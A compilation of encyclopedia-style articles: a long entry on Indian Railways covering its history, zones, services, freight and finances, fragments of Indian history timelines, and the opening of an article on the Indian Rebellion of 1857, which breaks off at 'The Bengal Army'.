            	The American television network NBC has used three variations of a rainbow peacock logo since 1956.


            	The national carrier of Sri Lanka, Sri Lankan Airlines uses a Peacock as its company logo.


            	The Santa Fe Community College Teaching Zoo uses a peafowl on its logo. It was chosen due to the free roaming peafowl that live on zoo grounds.
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              	भारतीय रेल, Indian Railways
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              	Type

              	Departmental Undertaking of The Ministry of Railways, Government of India
            


            
              	Founded

              	April 16, 1853, nationalized in 1951
            


            
              	Headquarters

              	New Delhi, India
            


            
              	Areaserved

              	India
            


            
              	Keypeople

              	Union Railway Minister:

              Laloo Prasad Yadav

              Minister of State for Railways (V):

              R. Velu

              Minister of State for Railways (R):

              Naranbhai J Rathwa

              Chairman, Railway Board:

              Kalyan C.Jena.
            


            
              	Industry

              	Railways and Locomotives
            


            
              	Products

              	Rail transport, Cargo Transport, Services
            


            
              	Revenue

              	▲ INR Rs 13,334.72 Crores (~3.1 BUSD)
            


            
              	Employees

              	~1,400,000
            


            
              	Parent

              	Ministry of Railways (India)
            


            
              	Divisions

              	16 Railway Zones (excluding Konkan Railway)
            


            
              	Website

              	www.indianrailways.gov.in
            

          


          Indian Railways (Hindi: भारतीय रेल Bhāratīya Rel), abbreviated as IR (भारे), is a Department of the Government of India, under the Ministry of Railways, and is tasked with operating the rail network in India. The Ministry is headed by a cabinet rank Railways Minister, while the Department is managed by the Railway Board. Indian Railways is not a private corporate body; however, of late IR has adopted a corporate management style.


          Indian Railways has a total state monopoly on India's rail transport. It is one of the largest and busiest rail networks in the world, transporting seventeen million passengers and more than one million tonnes of freight daily. IR is the world's largest commercial or utility employer, with more than 1.6million employees.


          The railways traverse the length and breadth of the country; the routes cover a total length of 63,465 km (39,435miles). As of 2005, IR owned a total of 222,379 wagons, 42,125 coaches and 7910 locomotives and ran a total of 14,444 trains daily, including about 8,702 passenger trains.


          Railways were first introduced to India in 1853. By 1947, the year of India's independence, there were forty-two rail systems. In 1951 the systems were nationalized as one unit, becoming one of the largest networks in the world. Indian Railways operates both long distance and suburban rail systems.


          


          History


          
            Image:Bombay-Thane-train-1853.jpg

            
              Bombay Thane Train, 1853 -- One of the earliest pictures of railways in India
            

          


          A plan for a rail system in India was first put forward in 1832, but no further steps were taken for more than a decade. In 1844, the Governor-General of India Lord Hardinge allowed private entrepreneurs to set up a rail system in India. Two new railway companies were created and the East India Company was asked to assist them. Interest from investors in the UK led to the rapid creation of a rail system over the next few years. The first train in India became operational on 22 December 1851, and was used for the hauling of construction material in Roorkee. A year and a half later, on 16 April 1853, the first passenger train service was inaugurated between Bori Bunder, Bombay and Thane. Covering a distance of 34km (21miles), it was hauled by three locomotives, Sahib, Sindh and Sultan. This was the formal birth of railways in India.


          
            [image: A view of the Burdwan Railway Station in 1855]

            
              A view of the Burdwan Railway Station in 1855
            

          


          The British government encouraged new railway companies backed by private investors under a scheme that would guarantee an annual return of five percent during the initial years of operation. Once established, the company would be transferred to the government, with the original company retaining operational control. By 1875, about 95 million were invested by British companies in Indian guaranteed railways. The route mileage of this network was about 14,500km (9,000miles) by 1880, mostly radiating inward from the three major port cities of Bombay (Mumbai), Madras (Chennai) and Calcutta ( Kolkata). By 1895, India had started building its own locomotives, and in 1896 sent engineers and locomotives to help build the Uganda Railway.


          
            [image: Extent of Great Indian Peninsular Railway network in 1870. The GIPR was one of the largest rail companies at that time.]

            
              Extent of Great Indian Peninsular Railway network in 1870. The GIPR was one of the largest rail companies at that time.
            

          


          Soon various independent kingdoms built their own rail systems and the network spread to the regions that became the modern-day states of Assam, Rajasthan and Andhra Pradesh. A Railway Board was constituted in 1901, but decision-making power was retained by the Viceroy, Lord Curzon. The Railway Board operated under aegis of the Department of Commerce and Industry and had three members: a government railway official serving as chairman, a railway manager from England and an agent of one of the company railways. For the first time in its history, the Railways began to make a tidy profit. In 1907, almost all the rail companies were taken over by the government.


          The following year, the first electric locomotive appeared. With the arrival of the First World War, the railways were used to meet the needs of the British outside India. By the end of the First World War, the railways had suffered immensely and were in a poor state. The government took over the management of the Railways and removed the link between the financing of the Railways and other governmental revenues in 1920, a practice that continues to date with a separate railway budget.


          The Second World War severely crippled the railways as rolling stock was diverted to the Middle East, and the railway workshops were converted into munitions workshops. At the time of independence in 1947, about 40 per cent of the railways then went to the newly independent republic of Pakistan. A total of forty-two separate railway systems, including thirty-two lines owned by the former Indian princely states, were amalgamated as a single unit which was christened as the Indian Railways.


          The existing rail networks were abandoned in favour of zones in 1951 and a total of six zones came into being in 1952. As the economy of India improved, almost all railway production units were indigenised. By 1985, steam locomotives were phased out in favour of diesel and electric locomotives. The entire railway reservation system was streamlined with computerisation in 1995.


          Indian Railways is one of the largest employers in the world. Very few corporate entities, public or private, have a larger workforce.


          


          Railway zones


          
            [image: A schematic map of the Indian Railway network]

            
              A schematic map of the Indian Railway network
            

          


          For administrative purposes, Indian Railways is divided into seventeen zones.


          
            
              	Sl. No

              	Name

              	Abbr.

              	Date Established

              	Headquarters

              	Divisions
            


            
              	1.

              	Northern Railway

              	NR

              	April 14, 1952

              	Delhi

              	Delhi, Ambala, Firozpur, Lucknow, Moradabad
            


            
              	2.

              	North Eastern Railway

              	NER

              	1952

              	Gorakhpur

              	Izzatnagar, Lucknow, Varanasi
            


            
              	3.

              	Northeast Frontier Railway

              	NFR

              	1958

              	Guwahati

              	Alipurduar, Katihar, Lumding, Rangia, Tinsukia
            


            
              	4.

              	Eastern Railway

              	ER

              	April, 1952

              	Kolkata

              	Howrah, Sealdah, Asansol, Malda
            


            
              	5.

              	South Eastern Railway

              	SER

              	1955

              	Kolkata

              	Adra, Chakradharpur, Kharagpur, Ranchi
            


            
              	6.

              	South Central Railway

              	SCR

              	October 2, 1966

              	Secunderabad

              	Secunderabad, Hyderabad, Guntakal, Guntur, Nanded, Vijayawada
            


            
              	7.

              	Southern Railway

              	SR

              	April 14, 1951

              	Chennai

              	Chennai, Madurai, Palghat, Tiruchchirapalli, Trivandrum, Salem ( Coimbatore)
            


            
              	8.

              	Central Railway

              	CR

              	November 5, 1951

              	Mumbai

              	Mumbai, Bhusawal, Pune, Solapur, Nagpur
            


            
              	9.

              	Western Railway

              	WR

              	November 5, 1951

              	Mumbai

              	Mumbai Central, Baroda, Ratlam, Ahmedabad, Rajkot, Bhavnagar
            


            
              	10.

              	South Western Railway

              	SWR

              	April 1, 2003

              	Hubli

              	Hubli, Bangalore, Mysore
            


            
              	11.

              	North Western Railway

              	NWR

              	October 1, 2002

              	Jaipur

              	Jaipur, Ajmer, Bikaner, Jodhpur
            


            
              	12.

              	West Central Railway

              	WCR

              	April 1, 2003

              	Jabalpur

              	Jabalpur, Bhopal, Kota
            


            
              	13.

              	North Central Railway

              	NCR

              	April 1, 2003

              	Allahabad

              	Allahabad, Agra, Jhansi
            


            
              	14.

              	South East Central Railway

              	SECR

              	April 1, 2003

              	Bilaspur, CG

              	Bilaspur, Raipur, Nagpur
            


            
              	15.

              	East Coast Railway

              	ECoR

              	April 1, 2003

              	Bhubaneswar

              	Khurda Road, Sambalpur, Visakhapatnam
            


            
              	16.

              	East Central Railway

              	ECR

              	October 1, 2002

              	Hajipur

              	Danapur, Dhanbad, Mughalsarai, Samastipur, Sonpur
            


            
              	17.

              	Konkan Railway

              	KR

              	January 26, 1998

              	Navi Mumbai

              	None
            

          


          Konkan Railway (KR) is constituted as a separately incorporated railway, with its headquarters at Belapur CBD (Navi Mumbai). It comes under the control of the Railway Ministry and the Railway Board.


          The Calcutta Metro is owned and operated by Indian Railways, but is not a part of any of the zones. It is administratively considered to have the status of a zonal railway. Each zonal railway is made up of a certain number of divisions, each having a divisional headquarters. There are a total of sixty-seven divisions.
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          Passenger services
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          Indian Railways operates 8,702 passenger trains and transports 17 million daily across twenty-eight states and three union territories (Delhi, Puducherry (formerly Pondicherry) and Chandigarh). Sikkim, Arunachal Pradesh and Meghalaya are the only states not connected.


          The passenger division is the most preferred form of long distance transport in most of the country.


          A standard passenger train consists of eighteen coaches, but some popular trains can have up to 24 coaches. Coaches are designed to accommodate anywhere from 18 to 72 passengers, but may actually accommodate many more during the holiday seasons and on busy routes. Most regular trains have coaches connected through vestibules. However, "unreserved coaches" are not vestibule-connected with the rest of the train.


          


          Production Services
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          The Indian Railways manufactures a lot of its rolling stock and heavy engineering components. This is largely due to historical reasons. As with most developing economies, the main reason is import substitution of expensive technology related products. This was relevant when the general state of the national engineering industry was immature.


          Production Units, the manufacturing plants of the Indian Railways, are managed directly by the ministry. The General Managers of the PUs report to the Railway Board. The Production Units are:


          
            	Chittaranjan Locomotive Works, Chittaranjan


            	Diesel Locomotive Works, Varanasi


            	Diesel-Loco Modernisation Works, Patiala


            	Integral Coach Factory, Chennai


            	Rail Coach Factory, Kapurthala


            	Rail Wheel Factory, Bangalore

          


          Other independent units of Indian Railways are:


          
            	Central Organization For Railway Electrification, Allahabad


            	Central Organization For Modernization of Workshops, New Delhi

          


          Important maintenance workshops on IR are:


          
            	Southern Railway Workshop, Ponmalai (Golden Rock), Tiruchirapalli


            	Rail Spring Karkhana, Gwalior

          


          Bharat Earth Movers Limited, Bangalore (BEML) is not organisationally related to the Indian Railways however it manufactures coaches for both the Indian Railways and the New Delhi Metro system.


          


          Suburban rail
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          Many cities have their own dedicated suburban networks to cater to commuters. Currently, suburban networks operate in Mumbai (Bombay), Chennai (Madras), Kolkata (Calcutta), Delhi, Hyderabad and Pune. Hyderabad, and Pune do not have dedicated suburban tracks but share the tracks with long distance trains. New Delhi, Kolkata, and Chennai have their own metro networks, namely the New Delhi Metro, the Kolkata Metro,and the Chennai MRTS- Mass Rapid Transport System, with dedicated tracks mostly laid on a flyover as in other local EMU suburban service in Mumbai and Kolkata.


          Suburban trains that handle commuter traffic are mostly electric multiple units. They usually have nine coaches or sometimes twelve to handle rush hour traffic (Hyderabad MMTS; abbreviation for Multi Modal Transport System has mostly six coach train with a single nine coach one). One unit of an EMU train consists of one power car and two general coaches. Thus a nine coach EMU is made up of three units having one power car at each end and one at the middle. The rakes in Mumbai run on direct current, while those elsewhere use alternating current. A standard coach is designed to accommodate 96 seated passengers, but the actual number of passengers can easily double or triple with standees during rush hour. The Kolkata metro has the administrative status of a zonal railway, though it does not come under the seventeen railway zones.
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          The Suburban trains in Mumbai handle more rush than any other suburban network in the world. The network has three lines viz, western, central and harbour. The Central Line starts from Chhatrapati Shivaji Terminus (CST) (Formerly Victoria Terminus or VT) and runs for more than 100 km till Kasara. The Western Line starting from Churchgate runs again for more than 100 km till Dahanu Road. It is thus the longest suburban rail system in the world. Also, it is busiest suburban network in the world, in the sense that it carries more than 6 million passengers each day.


          


          Freight
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          Indian Railway carries a huge variety of goods ranging from mineral ores, fertilizers and petrochemicals, agricultural produce, iron & steel, multimodal traffic and others. Ports and major urban areas have their own dedicated freight lines and yards. Many important freight stops have dedicated platforms and independent lines.


          Indian Railways makes 70% of its revenues and most of its profits from the freight sector, and uses these profits to cross-subsidise the loss-making passenger sector. However, competition from trucks which offer cheaper rates has seen a decrease in freight traffic in recent years. Since the 1990s, Indian Railways has switched from small consignments to larger container movement which has helped speed up its operations. Most of its freight earnings come from such rakes carrying bulk goods such as coal, cement, food grains and iron ore.


          Indian Railways also transports vehicles over long distances. Trucks that carry goods to a particular location are hauled back by trains saving the trucking company on unnecessary fuel expenses. Refrigerated vans are also available in many areas. The "Green Van" is a special type used to transport fresh food and vegetables. Recently Indian Railways introduced the special 'Container Rajdhani' or CONRAJ, for high priority freight. The highest speed notched up for a freight train is 100km/h (62mph) for a 4,700metric tonne load.


          Recent changes have sought to boost the earnings from freight. A privatization scheme was introduced recently to improve the performance of freight trains. Companies are being allowed to run their own container trains. The first length of an 11,000-kilometre (6,800mi) freight corridor linking India's biggest cities has recently been approved. The railways has increased load limits for the system's 220,000 freight wagons by 11%, legalizing something that was already happening. Due to increase in manufacturing transport in India that was augmented by the increase in fuel cost, transportation by rail became advantageous financially. New measures such as speeding up the turnaround times have added some 24% to freight revenues.


          


          Freight charges


          This is a chart of average rail freight charges in 2007 with figures in United States Dollars. See also


          
            
              	Item

              	Freight per tonne
            


            
              	Cement

              	$12.96
            


            
              	Coal

              	$13.71
            


            
              	Iron ore

              	$15.19
            


            
              	Fertiliser

              	$16.53
            


            
              	Raw materials for steel plants

              	$17.45
            


            
              	Container service

              	$18.58
            


            
              	Petroleum oil & lubricant

              	$20.82
            


            
              	Food grains

              	$23.65
            


            
              	Iron & finished steel

              	$26.08
            


            
              	Other goods

              	$15.79
            

          


          


          Notable trains and achievements


          The Darjeeling Himalayan Railway, a narrow gauge railway that still regularly uses steam as well as diesel locomotives is classified as a World Heritage Site by UNESCO. The route started earlier at Siliguri and now at New Jalpaiguri in the plains in West Bengal and traverses tea gardens en route to Darjeeling, a hill station at an elevation of 2,134metres (7,000ft). The highest station in this route is Ghum. The Nilgiri Mountain Railway, in the Nilgiri Hills in southern India, is also classified as a World Heritage Site by UNESCO. It is also the only rack railway in India. The Chatrapati Shivaji Terminus (formerly Victoria Terminus) railway station in Mumbai is another World Heritage Site operated by Indian Railways.
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          The Palace on Wheels is a specially designed train, frequently hauled by a steam locomotive, for promoting tourism in Rajasthan. The Maharashtra government did try to introduce the Deccan Odyssey along the Konkan route, but it did not enjoy the same success as the Palace on Wheels. The Karnataka government has recently introduced The Golden Chariot train which connects popular tourist destinations in Karnataka and Goa. The Samjhauta Express is a train that runs between India and Pakistan. However, hostilities between the two nations in 2001 saw the line being closed. It was reopened when the hostilities subsided in 2004. Another train connecting Khokhrapar (Pakistan) and Munabao (India) is the Thar Express that restarted operations on February 18, 2006; it was closed down after the 1965 Indo-Pak war. The Kalka Shimla Railway till recently featured in the Guinness Book of World Records for offering the steepest rise in altitude in the space of 96 kilometres.


          The Lifeline Express is a special train popularly known as the "Hospital-on-Wheels" which provides healthcare to the rural areas. This train has a carriage that serves as an operating room, a second one which serves as a storeroom and an additional two that serve as a patient ward. The train travels around the country, staying at a location for about two months before moving elsewhere.


          Among the famous locomotives, the Fairy Queen is the oldest running locomotive on the mainline (though only for specials) in the world today, though the distinction of the oldest surviving locomotive that has recently seen service belongs to John Bull. Kharagpur railway station also has the distinction of being the world's longest railway platform at 1072m (3,517ft). The Ghum station along the Darjeeling Toy Train route is the second highest railway station in the world to be reached by a steam locomotive. Indian Railways operates 7,910 locomotives; 42,125 Coaching vehicles and 222,379 freight wagons. There are a total of 6,853 stations; 300 yards; 2,300 goods-sheds; 700 repair shops and a total workforce of 1.54 million.


          The shortest named station is Ib and the longest is Sri Venkatanarasimharajuvaripeta. The Himsagar Express, between Kanyakumari and Jammu Tawi, has the longest run in terms of distance and time on Indian Railways network. It covers 3,745km (2,327miles) in about 74 hours and 55 minutes. The Bhopal Shatabdi Express is the fastest train in India today having a maximum speed of 150km/h (93.7mph) on the Faridabad-Agra section. The fastest speed attained by any train is 184km/h (114mph) in 2000 during test runs. This speed is much lower than fast trains in other parts of the world. The difference in these speeds could be in part attributed to the fact that the trains run on existing tracks, which were not designed for such high speeds.


          


          Organisational structure
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          Indian Railways is a department of the Government, being owned and controlled by the Government of India, via the Ministry of Railways rather than a private company. As of 2008, the Railway Ministry is headed by Laloo Prasad Yadav, the Union Minister for Railways and assisted by two junior Ministers of State for Railways, R. Velu and Naranbhai J. Rathwa. Indian Railways is administered by the Railway Board, which has six members and a chairman.


          Each of the sixteen zones is headed by a General Manager (GM) who reports directly to the Railway Board. The zones are further divided into divisions under the control of Divisional Railway Managers (DRM). The divisional officers of engineering, mechanical, electrical, signal & telecommunication, accounts, personnel, operating, commercial and safety branches report to the respective Divisional Manager and are in charge of operation and maintenance of assets. Further down the hierarchy tree are the Station Masters who control individual stations and the train movement through the track territory under their stations' administration. In addition to the zones, the six production units (PUs) are each headed by a General Manager (GM), who also reports directly to the Railway Board.


          In addition to this the Central Organisation for Railway Electrification (CORE), Metro Railway, Calcutta and construction organisation of N F Railway are also headed by a General Manager. CORE is located at Allahabad. This organisation undertakes electrification projects of Indian Railway and monitors the progress of various electrification projects all over the country.


          Apart from these zones and production units, a number of Public Sector Undertakings (PSU) are under the administrative control of the ministry of railways. These PSU units are:


          
            	Dedicated Freight Corridor Corporation of India


            	Indian Railways Catering and Tourism Corporation


            	Konkan Railway Corporation


            	Indian Railway Finance Corporation


            	Mumbai Rail Vikas Corporation


            	Railtel Corporation of India  Telecommunication Networks


            	RITES Ltd.  Consulting Division of Indian Railways


            	IRCON International Ltd.  Construction Division


            	Rail Vikas Nigam Limited


            	Container Corporation of India Limited


            	Rail Land Development Authority for commercial development of vacant railway land, is a statutory authority formed through an amendment of the Railways' Act, 1989


            	Centre for Railway Information Systems is an autonomous society under Railway Board, which is responsible for developing the major software required by Indian Railways for its operations.

          


          


          Rail budget and finances
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          The Railway Budget deals with the induction and improvement of existing trains and routes, the modernisation and most importantly the tariff for freight and passenger travel. The Parliament discusses the policies and allocations proposed in the budget. The budget needs to be passed by a simple majority in the Lok Sabha (India's Lower House). The comments of the Rajya Sabha (Upper House) are non binding. Indian Railways are subject to the same audit control as other government revenue and expenditures. Based on the anticipated traffic and the projected tariff, the level of resources required for railway's capital and revenue expenditure is worked out. While the revenue expenditure is met entirely by railways itself, the shortfall in the capital (plan) expenditure is met partly from borrowings (raised by Indian Railway Finance Corporation) and the rest from Budgetory support from the Central Government. Indian Railways pays dividend to the Central Government for the capital invested by the Central Government.


          As per the Separation Convention (on the recommendations of the Acworth Committee), 1924, the Railway Budget is presented to the Parliament by the Union Railway Minister, two days prior to the General Budget, usually around 26 February. Though the Railway Budget is separately presented to the Parliament, the figures relating to the receipt and expenditure of the Railways are also shown in the General Budget, since they are a part and parcel of the total receipts and expenditure of the Government of India. This document serves as a balance sheet of operations of the Railways during the previous year and lists out plans for expansion for the current year.
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          The formation of policy and overall control of the railways is vested in Railway Board comprising the Chairman, Financial Commissioner and other functional Members for Traffic, Engineering, Mechanical, Electrical and Staff matters.


          Under Lalloo Prasad Yadav, the previously loss making Indian railways which was under the verge of bankruptcy, made a remarkable turnaround by reporting a cash surplus of Rs 9000 cr in 2005, which jumped to Rs 14000 cr in 2006 then again rose to Rs 20,000 cr in 2007. In 2007-08, a cash surplus before Dividend of Rs.25,000 cr was reported. .


          The operating ratio has also improved to 76% (stated in 2008 budget), which is the best in the world( second placed Canada has 78.7%).In the last four years under his tenure as railway minister till 2008, the plan size of the Railways has increased from Rs. 13000 cr to Rs. 30000 cr.Annual Plan of 2008-09 is the highest ever annual plan of the railways. It is proposed to invest Rs. 37,500 cr, which is 21 percent more than the previous year.


          Budget Estimates-2008 for Freight, Passenger, Sundry other Earnings and other Coaching Earnings have been kept at Rs. 52,700 cr, Rs 21,681 cr, Rs. 5,000 cr and Rs 2,420 cr respectively. Maintaining an overall double digit growth, Gross Traffic Earnings have been projected as Rs 81,801 cr Around 20% of the passenger revenue is earned from the upper class segments of the passenger segment (the air-conditioned classes).


          A new challenge faced by Indian Railways is competition from low cost airlines that has recently made its dbut in India. In a cost cutting move, the Railways plan to minimise unwanted cessations, and scrap unpopular routes.


          


          Current issues and upgrades


          Although accidents such as derailment and collisions are less common in recent times, many are run over by trains, especially in crowded areas. Indian Railways have accepted the fact that given the size of operations, eliminating accidents is an unrealistic goal, and at best they can only minimize the accident rate. Human error is the primary cause (83%) of mishaps. In the past, Konkan Railway route has suffered from landslides in the monsoon season, causing fatal accidents.


          Outdated communication, safety and signaling equipment, which used to contribute to failures in the system, is being updated with the latest technology. A number of train accidents happened on account of a system of manual signals between stations, so automated signaling is getting a boost. However, the changeover to a new system would require a substantial investment. It is felt that this would be required given the gradual increase in train speeds and lengths, that would tend to make accidents more dangerous. In the latest instances of signaling control by means of interlinked stations (e.g., Chennai - Washermanpet), failure-detection circuits are provided for each track circuit and signal circuit with notification to the signal control centres in case of problems. This is currently available in a small subset of the overall IR system, although anti-collision devices are to be extended to the entire system. Aging colonial-era bridges and century-old tracks also require regular maintenance and upgrading.


          In recent years Indian Railways has laid claim to a financial turnaround, with (unaudited) operating profits going up substantially. Credit for this achievement has been claimed by current Indian Railway Minister, Mr Lalu Prasad Yadav, who asserts that he made significant improvements in operating efficiency of goods traffic after he took over as Railway Minister in May 2004.


          The Sixth Pay Commission has been constituted in India to review the pay structure of Government employees, and its recommendations are expected by the end of 2008. Based on its recommendations, the salaries of all Railways officers and staff are expected to be revised with retrospective effect (w.e.f. January 1, 2006). If previous Pay Commissions are taken as an indicator, this revision could be 50%, thus having an impact on present and future Railway budgets.
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          The Rajdhani Express and Shatabadi Express are the fastest and most luxurious trains of Indian Railways, though they face competition from new low-cost airlines as the trains travel only at 130-140 km/hr (c.f. Fastest trains in India). At least five corridors are under consideration for the introduction of high speed bullet trains to India with expert assistance from France. It is estimated that to modernise Indian Rail and bring it up to international standards, over US$200 billion in investments would be required.


          These are refreshing times for IR as it becomes more user-friendly. Expansive and expensive plans are underway to upgrade stations, coaches, tracks, services, safety, and security. Initially, various upgrade and overhaul work will be performed at more than fifty stations, some of it by private contract. All meter gauge lines in the country will be converted to broad gauge (see Project Unigauge). New stainless steel LHB design coaches, manufactured in India, are due to be introduced on all Rajdhani, Shatabdi, mail and express trains by 2011. These coaches will enhance the safety and riding comfort of passengers besides having more carrying capacity, and in time will replace thousands of old model coaches throughout Indian Railways. More durable and conforming polyurethane paint is now being used to enhance the quality of rakes and significantly reduce the cost of repainting. Improved ventilation and illumination are part of the new scheme of things too, says Rail Bhawan (HQ in New Delhi). New manufacturing units will be set up to produce state-of-the-art locomotives and coaches.


          As a start, the Delhi station is being upgraded with four new stations being built to ease the congestion. Railway authorities have invited private companies to modernise the Delhi station in partnership with the public sector. British firm Terry Farrell and Partners has been hired by the railway ministry to re-design the station. The renovation of Delhi station marks the start of government efforts to upgrade both the nation's railway stations and its routes. The plan is to separate arrivals and departures areas on different levels. Tracks will be widened, enabling a switch to faster and bigger trains that can speed up the passenger flow. On a system-wide level, new track is being laid, tunnels blasted out of mountains, bridges and brand new stations being built, in remote parts of the country such as the northeastern states and Kashmir. German, Chinese, and other foreign railway expertise is being pressed into service in IR's makeover story, but by the same token Indian Railways lends a helping hand to other countries' national railways.


          Sanitation in trains and stations throughout the system is getting more attention with the introduction of eco-friendly, discharge-free green toilets developed by IIT Kanpur. This costly makeover is expected to take three years. Fire detection systems will be installed on trains in a phased manner, and new rodent-control and cleanliness procedures are also working their way into the many zones of IR. Central Railway's 'Operation Saturday' is gradually making progress, station by station, in the cleanup of its Mumbai division.


          Base kitchens and food services across the system are also slated for a makeover, while rail ticket booking through ATMs on select trains and through cell(ular) phone SMS is being put in place. Channel music, TV screens showing the latest films, and optional menus from five-star hotels are being introduced on the Rajdhani and Shatabdi Express. The National Institute of Design (NID) was roped in to spice up the upholstery and coach interiors of the two high-end trains to give them a corporate designer look. There is now competitive bidding to lease advertising space on railway buildings, stations and some trains. Significantly, several IT initiatives are being phased in to better handle ticketing, freight, rolling stock (wagons), terminals, and rail traffic, including the use of Global Positioning System (GPS) for train tracking in real time. Senior managers who now undergo advanced training overseas will soon be able to attend the new International Railway Strategic Management Institute (IRSMI) being set up in New Delhi.


          In summation, IR is changing compellingly for the better, and contributing to the economic vitality of a sub-continent that is evolving at a phenomenal rate, and of which it is an integral part.
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              An engraving titled Sepoy Indian troops dividing the spoils after their mutiny against East India Company rule
            


            
              	
                
                  
                    	Location

                    	India (cf. 1857) 
                  


                  
                    	Result

                    	Rebellion Suppressed,

                    End of Company Rule in India

                    Control taken by the British Crown
                  


                  
                    	Territorial

                    changes

                    	Indian Empire created out of former- East India Company territory, some land returned to native rulers, other land confiscated by the Crown.
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              7 Indian princely states,

              deposed rulers of the independent states of Oudh, Jhansi

              Some Indian civilians.
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              20 Princely states aiding the British including the independent states of Nepal, Kashmir as well as smaller states in region
            


            
              	Commanders
            


            
              	Nana Sahib

              Mirza Mughal

              Bakht Khan

              Rani Lakshmi Bai

              Tantya Tope


              	Commander-in-Chief, India:

              George Anson (to May 1857)

              Sir Patrick Grant

              Sir Colin Campbell from (August 1857)

              Jang Bahadur
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              	 70003300 BCE
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              	33001700 BCE
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              	17001300 BCE
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              	 700300 BCE
            


            
              	 Magadha Empire
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              	 Maurya Empire
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              	250 BCE1279 CE
            


            
              	 Chola Empire
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              	 Satavahana

              	 230 BCE220 CE
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              	13361646
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              	15261858
            


            
              	Maratha Empire

              	16741818
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              	17161799
            


            
              	Sikh Empire
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              	British East India Company
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              Bangladesh  Bhutan  Republic of India
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              	Regional histories

              Assam  Balochistan  Bengal
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              North India  South India  Tibet
            


            
              	Specialised histories
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          The Indian Rebellion of 1857 was both a military mutiny and a rural civilian rebellion against the British East India Company. Confined mainly to north-central India (present-day Uttar Pradesh, northern Madhya Pradesh, and Delhi), it began in Meerut on 10 May 1857 and largely ended with the fall of Gwalior on 20 June 1858. The rebellion is also known as the First War of Independence (the official and popular name in India), Indian Mutiny, Sepoy Mutiny, and the Revolt of 1857.


          Although there had been earlier mutinies by the Company's Indian troops, for example in Vellore in 1806, the 1857 uprising was notable for its larger scale, for the nexus between the civilian and the military revolts, and for "the threat it posed for British power throughout northern India." The rebels soon captured large swaths of the Northwest Provinces and Oudh, including Delhi, where they installed the Mughal ruler, Bahadur Shah Zafar, as Emperor of Hindustan. However, the British response came rapidly as well: by September 1857, with help from fresh British reinforcements, Delhi had been retaken. It then took the better part of 1858 for the rebellion to be completely suppressed in Oudh.


          Throughout this time, other regions of British India Bengal, the Bombay Presidency, and the Madras Presidencyremained calm. In Punjab, only recently annexed by the East India Company, the Sikh princes collaborated with the British to provide both soldiers and support. The large princely states, Hyderabad, Mysore, Travancore, and Kashmir, as well as the smaller ones of Rajputana, by not joining the rebellion, served, in the Governor General Lord Canning's words, as "breakwaters in a storm" for the British.


          The rebellion was notable in several ways: although the fighting was marked by great violence on the part of both warring parties, the rebel soldiers, both Hindu and Muslim, as well as their rural supporters displayed unusual religious amity towards each other; although the rebel leaders, especially the Rani of Jhansi, became folk heroes in the burgeoning nationalist movement half a century later, they themselves "generated no coherent ideology or programme on which to build a new order;" the rebellion ended the East India Company's rule, and led the British to rethink their enterprise in India. Company rule was replaced in 1858 with direct rule by the British Crown in the new British Raj, a system of governance which was to last the next 90 years, until 1947.


          


          Brief history of British expansion in India


          The British East India Company won the power of Diwani in Bengal after winning the Battle of Plassey in 1757, under Robert Clive. Their victory in the Battle of Buxar in 1764 won them the Nizamat of Bengal as well. Following the Permanent Settlement of Bengal shortly thereafter, the Company began to vigorously expand its area of control in India.


          In 1845 the Company managed to extend its control over Sindh province after the gruelling and bloody campaign of Charles Napier (of 'Peccavi' fame). In 1848 the Second Anglo-Sikh War took place and the Company gained control of the Punjab as well in 1849, after the British Indian Army won a hard-fought victory against the Khalsa Army. In 1853 Nana Sahib, the adopted son of Baji Rao, the last Maratha Peshwa, was denied his father's titles and HEIC pension; which, according to Indian custom, some felt, should have been passed on to him.


          In 1854 Berar was annexed as was the state of Awadh/Oudh two years later.


          


          Causes


          The rebellion or the war for independence had diverse political, economic, military, religious,and social causes.


          Much of the resistance to the British came from the old aristocracy, who were seeing their power steadily eroded under the British. The British had annexed several states under the Doctrine of Lapse, according to which land belonging to a feudal ruler became the property of the East India Company if on his death, the ruler did not leave a male heir through natural process. It had long been the custom for a childless landowner to adopt an heir, but the East India Company ignored this tradition. Nobility, feudal landholders, and royal armies found themselves unemployed and humiliated due to British expansionism. Even the jewels of the royal family of Nagpur were publicly auctioned in Calcutta, a move that was seen as a sign of abject disrespect by the remnants of the Indian aristocracy. Lord Dalhousie, the Governor-General of India, had asked the Mughal emperor Bahadur Shah Zafar and his successors to leave the Red Fort, the palace in Delhi. Later, Lord Canning, the next governor-general of India, announced in 1856 that Bahadur Shah's successors would not even be allowed to use the title of 'king'. Such discourtesies were resented by the deposed Indian rulers.


          Some Indians were unhappy with the rule of the British and perceived a project of westernisation to be taking place, that, however well-meaning they may have been, they believed were imposed without any regard for Indian tradition or culture. The outlawing of Sati (self-immolation by widows) and child marriage, which to some appeared to be a precursor to an imposition of Christianity, has also been put forward as a reason for the revolt.


          The justice system was considered to be inherently unfair to the Indians. The official Blue Books  entitled East India (Torture) 18551857  that were laid before the House of Commons during the sessions of 1856 and 1857 revealed that Company officers were allowed an extended series of appeals if convicted or accused of brutality or crimes against Indians.


          The economic policies of the East India Company were also resented by the Indians. Some of the gold, jewels, silver and silk had been shipped off to Britain as tax and sometimes sold in open auctions, ridding India of its once abundant wealth in precious stones. The land was reorganised under the comparatively harsh Zamindari system to facilitate the collection of taxes. In certain areas farmers were forced to switch from subsistence farming to commercial crops such as indigo, jute, coffee and tea. This resulted in hardship to the farmers and increases in food prices. Local industry, specifically the famous weavers of Bengal and elsewhere, also suffered under British rule. Import tariffs were kept low, according to traditional British free-market sentiments, and thus the Indian consumer could purchase cheap clothing from Britain. Indigenous industry simply could not compete, and therefore adjusted according to principles of comparative advantage: where once India had produced much of England's luxury cloth, the country was now reduced to growing cotton which was shipped to Britain to be manufactured into clothing, which was subsequently shipped back to India to be purchased by Indians. The extraordinary quantity of wealth thus collected by the British was absolutely critical in expanding public and private infrastructure in Britain and in financing British expansion elsewhere in Asia and Africa.


          


          The Bengal Army


